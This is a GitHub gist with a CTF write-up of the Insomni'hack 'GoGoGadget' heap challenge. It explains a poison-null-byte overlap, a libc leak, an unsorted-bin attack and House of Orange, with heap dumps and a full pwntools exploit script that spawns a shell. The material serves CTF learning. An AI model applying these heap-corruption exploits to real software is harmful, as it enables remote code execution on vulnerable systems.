Skip to content

Instantly share code, notes, and snippets.

@romanking98
Created March 24, 2018 15:18
Show Gist options
  • Save romanking98/76c3ce93811b9f0fe97bffa9176ea00e to your computer and use it in GitHub Desktop.
Save romanking98/76c3ce93811b9f0fe97bffa9176ea00e to your computer and use it in GitHub Desktop.

GoGoGadget (1 solve)

Tool credits : @scwuaptx, pwngdb for making public awesome malloc research

Layout

*------------------------------*
          Hi Inspector!
*------------------------------*
 1. Create Gadget
 2. Delete Gadget
 3. Gogo Gadget
 4. Activate Copter
 5. Deactivate Copter
 6. Gogo Copter
 7. Bye
*------------------------------*
Go Go Gadget:

Create Gadget : Create gadget of fixed malloc(0xb1) chunk. scanf(%168s) NULL terminates, leading to poison null byte situation. But, however malloc size is 0xb1 (only 2 digits) so NULL byte overflow here seems useless.

We can coalesce 2 0xb1 = 0x161 chunk, then overflow to make it 0x160.

Activate Copter : Allows to malloc(0x61) chunk.

The gogo functions just print it.

Leak

read() used in Copter : not NULL terminated. Hence can leak libc easily.

Attack

I did a very complicated attack to finally overlap 2 chunks and gain control of the unsorted bin bk. Because there is no edit function, this is a bit tricky.

Here is the entire heap layout that I faked : (its a bit huge, I just pasted it all and will explain it)

gef> x/20xg 0x7f8d70529000
0x7f8d70529000:	0x0000000000000000	0x0000000000000161 <----- This is our chunk in unsorted bin.
0x7f8d70529010:	0x00007f8d70529160	0x00007f8d6e2a6b78    |
0x7f8d70529020:	0x0000000000000000	0x0000000000000000    |
0x7f8d70529030:	0x0000000000000000	0x0000000000000000    |
0x7f8d70529040:	0x0000000000000000	0x0000000000000000    |
0x7f8d70529050:	0x0000000000000000	0x0000000000000006    |
0x7f8d70529060:	0x0000000000000000	0x0000000000020fa1    |
0x7f8d70529070:	0x00007f8d6e2a6b78	0x00007f8d6e2a6b78    |
0x7f8d70529080:	0x0000000000000000	0x0000000000000000    |
0x7f8d70529090:	0x0000000000000000	0x0000000000000000    |
gef>							      |
0x7f8d705290a0:	0x0000000000000000	0x0000000000000000    |
0x7f8d705290b0:	0x0000000000000050	0x00000000000000b1    |
0x7f8d705290c0:	0x00007f8d705290d0	0x00007f8d705290d0 <--|----- We fake an arena here, to make it look like unsorted bin chunk.
0x7f8d705290d0:	0x0000000000000000	0x0000000000000000    |	     We intend to make this chunk larger than 0xb1 (like I made it 0x231)
0x7f8d705290e0:	0x00007f8d705290d0	0x00007f8d705290d0    |      so then I can overlap with 0x7f8d70529160 and control bk
0x7f8d705290f0:	0x4141414141414141	0x4141414141414141    |	     remember to forge fake chunk at +0x230 with PREV_INUSE bit set.
0x7f8d70529100:	0x4141414141414141	0x4141414141414141    |
0x7f8d70529110:	0x4141414141414141	0x4141414141414141    |
0x7f8d70529120:	0x4141414141414141	0x4141414141414141    |
0x7f8d70529130:	0x4141414141414141	0x4141414141414141    |
gef>							      |
0x7f8d70529140:	0x4141414141414141	0x4141414141414141    |
0x7f8d70529150:	0x4141414141414141	0x4141414141414141    |
0x7f8d70529160:	0x0000000000000160	0x0000000000000100 <--|-- We overflow from 0x161 to 0x100. And we put fake size at + 0x100 offset.
0x7f8d70529170:	0x00007f8d6e2a6b78	0x00007f8d70529000							   ^		 v
0x7f8d70529180:	0x0000000000000000	0x0000000000000000							   |		 |
0x7f8d70529190:	0x0000000000000000	0x0000000000000000							   |		 |
0x7f8d705291a0:	0x0000000000000000	0x0000000000000000							   |		 |
0x7f8d705291b0:	0x0000000000000000	0x0000000000000000							   |		 |
0x7f8d705291c0:	0x0000000000000000	0x0000000000000000							   |		 |
0x7f8d705291d0:	0x0000000000000000	0x0000000000000000							   |		 |
gef>														   |		 |
0x7f8d705291e0:	0x0000000000000000	0x0000000000000000							   |		 |
0x7f8d705291f0:	0x0000000000000000	0x0000000000000000							   |		 |
0x7f8d70529200:	0x0000000000000000	0x0000000000000000							   |		 |
0x7f8d70529210:	0x00000000000000b0	0x00000000000000b0							   |		 |
0x7f8d70529220:	0x4444444444444444	0x4444444444444444							   |		 |
0x7f8d70529230:	0x4444444444444444	0x4444444444444444							   |		 |
0x7f8d70529240:	0x4444444444444444	0x4444444444444444							   |		 |
0x7f8d70529250:	0x4444444444444444	0x4444444444444444							   |		 |
0x7f8d70529260:	0x0000000000000100	0x0000000000000060 <---------------------------------------------------------------------|
0x7f8d70529270:	0x0000000000000000	0x0000000000000000				|			   |
gef>											|			   |
0x7f8d70529280:	0x0000000000000000	0x0000000000000000				|			   |
0x7f8d70529290:	0x0000000000000000	0x0000000000000000				|			   |
0x7f8d705292a0:	0x0000000000000000	0x0000000000000000				|			   |
0x7f8d705292b0:	0x0000000000000000	0x0000000000000000				v			   |
0x7f8d705292c0:	0x0000000000000160	0x00000000000000b0 We create fake PREV_SIZE = 0x160 , which points to >----^ This saisfies fake PREV_SIZE check.
0x7f8d705292d0:	0x4242424242424242	0x4242424242424242
0x7f8d705292e0:	0x0000000000000000	0x0000000000000091
0x7f8d705292f0:	0x0000000000000000	0x0000000000000000

And , we get control.

gef> x/20xg 0x7f8d70529000
0x7f8d70529000:	0x0000000000000000	0x0000000000000061
0x7f8d70529010:	0x000a445341534441	0x00007f8d6e2a6cc8
0x7f8d70529020:	0x0000000000000000	0x0000000000000000
0x7f8d70529030:	0x0000000000000000	0x0000000000000000
0x7f8d70529040:	0x0000000000000000	0x0000000000000000
0x7f8d70529050:	0x0000000000000000	0x0000000000000006
0x7f8d70529060:	0x0000000000000000	0x00000000000000b1
0x7f8d70529070:	0x5858585858585858	0x5858585858585858
0x7f8d70529080:	0x5858585858585858	0x5858585858585858
0x7f8d70529090:	0x5858585858585858	0x5858585858585858
gef>
0x7f8d705290a0:	0x5858585858585858	0x5858585858585858
0x7f8d705290b0:	0x5858585858585858	0x0000000000000231
0x7f8d705290c0:	0x000000000000dada	0x00000000deadbeef
0x7f8d705290d0:	0x0000000000000000	0x0000000000000000
0x7f8d705290e0:	0x00007f8d705290d0	0x00007f8d705290d0
0x7f8d705290f0:	0x4141414141414141	0x4141414141414141
0x7f8d70529100:	0x4141414141414141	0x4141414141414141
0x7f8d70529110:	0x4141414141414141	0x0000000000000051 <-- unsorted bin
0x7f8d70529120:	0x00007f8d6e2a6b78	0x00007f8d6e2a6b78
0x7f8d70529130:	0x4141414141414141	0x4141414141414141
gef>
0x7f8d70529140:	0x4141414141414141	0x4141414141414141
0x7f8d70529150:	0x4141414141414141	0x4141414141414141
0x7f8d70529160:	0x0000000000000050	0x00000000000000b1

Main_Arena:

0x7f8d6e2a6b70:	0x0000000000000000	0x00007f8d70529370 <-- top chunk
0x7f8d6e2a6b80:	0x00007f8d70529110	0x00007f8d70529110 <-- unsorted bin
0x7f8d6e2a6b90:	0x00007f8d70529110	0x00007f8d6e2a6b88

We can consolidate with previous chunk now, call COPTER, which will give fastbin, and then we can control bk.

0x7f8d705290a0:	0x5252525252525252	0x5252525252525252
0x7f8d705290b0:	0x0068732f6e69622f	0x0000000000000061
0x7f8d705290c0:	0x00000000deadbeef	0x00007f8d6e2a7510 <-- _IO_list_all
0x7f8d705290d0:	0x0000000000000002	0x0000000000000003
0x7f8d705290e0:	0x00007f8d70529070	0x00007f8d70529000
0x7f8d705290f0:	0x4141414141414141	0x4141414141414141
0x7f8d70529100:	0x4141414141414141	0x4141414141414141

Finally, we can do House Of Orange. We can also do unsorted bin attack on IO_buf_end , since program uses scanf() , in case HoO is blocked. But in given libc, HoO wasn't blocked (Thank God !!!!!! because I don't know the scanf() attack LOL ).

I think HoO was not intended , since the flag said "fsop" in it ( I don't remember the exact flag) , so they wanted to do some fsop stuff with scanf() but forgot to block HoO :)

Output :

[*] Switching to interactive mode
*------------------------------*
          Hi Inspector!
*------------------------------*
 1. Create Gadget
 2. Delete Gadget
 3. Gogo Gadget
 4. Activate Copter
 5. Deactivate Copter
 6. Gogo Copter
 7. Bye
*------------------------------*
Go Go Gadget: $ 1
*** Error in `./gogo': malloc(): memory corruption: 0x00007fe3f79f2520 ***
======= Backtrace: =========
./libc.so(+0x777e5)[0x7fe3f76a47e5]
./libc.so(+0x8213e)[0x7fe3f76af13e]
./libc.so(__libc_malloc+0x54)[0x7fe3f76b1184]
./gogo(+0x11d6)[0x7fe3f7c1e1d6]
./gogo(+0x14c7)[0x7fe3f7c1e4c7]
./libc.so(__libc_start_main+0xf0)[0x7fe3f764d830]
./gogo(+0xac9)[0x7fe3f7c1dac9]
======= Memory map: ========
7fe3f0000000-7fe3f0021000 rw-p 00000000 00:00 0
7fe3f0021000-7fe3f4000000 ---p 00000000 00:00 0
7fe3f7416000-7fe3f742c000 r-xp 00000000 fe:00 788248                     /lib/x86_64-linux-gnu/libgcc_s.so.1
7fe3f742c000-7fe3f762b000 ---p 00016000 fe:00 788248                     /lib/x86_64-linux-gnu/libgcc_s.so.1
7fe3f762b000-7fe3f762c000 r--p 00015000 fe:00 788248                     /lib/x86_64-linux-gnu/libgcc_s.so.1
7fe3f762c000-7fe3f762d000 rw-p 00016000 fe:00 788248                     /lib/x86_64-linux-gnu/libgcc_s.so.1
7fe3f762d000-7fe3f77ed000 r-xp 00000000 fe:00 565671                     /home/vagrant/insomni-onsite/libc.so
7fe3f77ed000-7fe3f79ed000 ---p 001c0000 fe:00 565671                     /home/vagrant/insomni-onsite/libc.so
7fe3f79ed000-7fe3f79f1000 r--p 001c0000 fe:00 565671                     /home/vagrant/insomni-onsite/libc.so
7fe3f79f1000-7fe3f79f3000 rw-p 001c4000 fe:00 565671                     /home/vagrant/insomni-onsite/libc.so
7fe3f79f3000-7fe3f79f7000 rw-p 00000000 00:00 0
7fe3f79f7000-7fe3f7a1a000 r-xp 00000000 fe:00 786395                     /lib/x86_64-linux-gnu/ld-2.24.so
7fe3f7c1a000-7fe3f7c1b000 r--p 00023000 fe:00 786395                     /lib/x86_64-linux-gnu/ld-2.24.so
7fe3f7c1b000-7fe3f7c1c000 rw-p 00024000 fe:00 786395                     /lib/x86_64-linux-gnu/ld-2.24.so
7fe3f7c1c000-7fe3f7c1d000 rw-p 00000000 00:00 0
7fe3f7c1d000-7fe3f7c20000 r-xp 00000000 fe:00 565670                     /home/vagrant/insomni-onsite/gogo
7fe3f7e19000-7fe3f7e1f000 rw-p 00000000 00:00 0
7fe3f7e1f000-7fe3f7e20000 r--p 00002000 fe:00 565670                     /home/vagrant/insomni-onsite/gogo
7fe3f7e20000-7fe3f7e21000 rw-p 00003000 fe:00 565670                     /home/vagrant/insomni-onsite/gogo
7fe3f8ce3000-7fe3f8d04000 rw-p 00000000 00:00 0                          [heap]
7ffde43b1000-7ffde43d2000 rw-p 00000000 00:00 0                          [stack]
7ffde43e3000-7ffde43e5000 r--p 00000000 00:00 0                          [vvar]
7ffde43e5000-7ffde43e7000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]
$ pwd
/home/vagrant/insomni-onsite
$

Exploit script :

#!/usr/bin/python
from pwn import *

#p = remote("gogogadget.insomni.hack", 1337)
p = process("./gogo",env={"LD_PRELOAD":"./libc.so"})
#p = process("./gogo")
raw_input()

def menu():
	p.recvuntil("Gadget:")

def create_gadget(name):
	menu()
	p.sendline("1")
	p.recvuntil("Gadget :")
	p.sendline(name)

def delete(idx):
	menu()
	p.sendline("2")
	p.recvuntil("Gadget [id] :")
	p.sendline(str(idx))

def gogo_gad(idx):
	menu()
	p.sendline("3")
	p.recvuntil(":")
	p.sendline(str(idx))

def gogo_copter():
	menu()
	p.sendline("6")

def copter(speed,dest):
	menu()
	p.sendline("4")
	p.recvuntil(":")
	p.sendline(str(speed))
	p.recvuntil(":")
	p.sendline(dest)

create_gadget("AAAAAA")
create_gadget("AAAAAA")
create_gadget("AAAAAA")
create_gadget("AAAAAA")
delete(0)
delete(2)
copter(6,"")
gogo_copter()

p.recvuntil("Gogo Copter To: \n")
libc = "\x18" + p.recv(5) + "\x00"*2
libc = u64(libc) - 0x3c4c18
# only local.
#libc = libc + 0x2d100
# only local.
log.success("Libc : " + hex(libc))

delete(-4)
copter(6,"AAAAAAA")
gogo_copter()
p.recvuntil("Gogo Copter To: AAAAAAA\n")
heap = p.recv(6) + "\x00"*2
heap = u64(heap) & 0xfffffffffffff000
log.success("Heap : " + hex(heap))

# cleanup heap.
delete(-4)
delete(0)
delete(1)
delete(2)
delete(3)

fake = p64(0x00)
fake += p64(0x101)
fake += p64(heap + 0x30)
fake += p64(heap + 0x30)
fake += p64(0x00)*2
fake += p64(heap + 0x10)
fake += p64(heap + 0x10)

create_gadget("BBBBBBBB")

create_gadget("BBBBBBBB")
create_gadget("CCCCCCCC")
lol = "D"*64
lol += p64(0x100)
lol += p64(0x60)
create_gadget(lol)

struc = "B"*16
struc += p64(0x00)
struc += p64(0x91)
create_gadget(struc)

delete(2)
delete(3)
delete(1)
buf = p64(heap + 0xd0)*2
buf += p64(0x00)*2
buf += p64(heap + 0xb0)*2
buf += "A"*(160-48)
buf += p64(0xb0)
create_gadget(buf)
delete(0)
#system = libc + 0x3f480
system = libc + 0x45390

sleep(2)
#delete(1)
ioi = p64(heap + 0x70)*6
create_gadget(ioi)
copter(6,"ADSASD")
'''
#gg = p64(libc + 0x3c4b78)*2
#create_gadget(gg)
#create_gadget(gg)
#copter(6,"aaaabbbb")
'''
lol = "X"*72
lol += p64(0x231)
lol += p64(0xdada)
lol += p64(0xdeadbeef)
create_gadget(lol)
buf = "L"*88
buf += "\xb1"
create_gadget(buf)

#create_gadget(gg)
#create_gadget(gg)
#create_gadget(gg)
delete(2)
delete(1)
#io_list = libc + 0x398500
io_list = libc + 0x3c5520


lol = p64(0x0)*3
lol += p64(system)
lol += "R"*32
lol += "/bin/sh\x00"
lol += p64(0x61)
lol += p64(0xdeadbeef)
lol += p64(io_list - 0x10)
lol += p64(2)
lol += p64(3)
lol += p64(heap + 0x70)

create_gadget(lol)

p.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment